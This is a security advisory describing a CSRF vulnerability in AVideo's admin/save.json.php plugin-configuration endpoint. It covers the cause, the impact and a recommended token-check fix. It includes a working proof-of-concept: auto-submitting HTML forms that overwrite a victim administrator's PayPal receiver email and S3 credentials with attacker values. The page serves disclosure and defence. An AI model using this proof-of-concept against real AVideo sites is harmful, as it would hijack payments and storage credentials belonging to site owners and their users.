Skip to content

GHSA-4wwr-7h7c-chqr CVE-2026-34394

AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking

High Packagist
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
None yet
No fixed version published

Description

Summary

AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.

Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.

Details

The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:

// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');

This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.

The save endpoint in admin/save.json.php directly processes POST data without any token verification:

// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();

The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:

// objects/Object.php:529
static function ignoreTableSecurityCheck() {
    return ['plugins', /* ... other tables ... */];
}

Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.

Proof of Concept

Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="PayPerView" />
    <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" />
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

To overwrite S3 storage credentials instead:

<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="AWS_S3" />
    <input type="hidden" name="region" value="us-east-1" />
    <input type="hidden" name="bucket" value="attacker-bucket" />
    <input type="hidden" name="key" value="ATTACKER_KEY_ID" />
    <input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>

Reproduction steps:

  1. Log in to AVideo as an administrator.
  2. In a separate browser tab, open the attacker's HTML page.
  3. The form auto-submits, overwriting the target plugin configuration.
  4. Verify the change by navigating to the plugin settings page in the admin panel.

Impact

An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:

  • Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
  • Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
  • Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
  • Backdoor installation: Enable and configure plugins to introduce persistent access.

This is a full platform takeover with zero user interaction beyond a single page visit.

  • CWE: CWE-352 (Cross-Site Request Forgery)

Recommended Fix

Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:

// admin/save.json.php:10
if (!isGlobalTokenValid()) {
    die('{"error":"Invalid CSRF token"}');
}

Found by aisafe.io

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor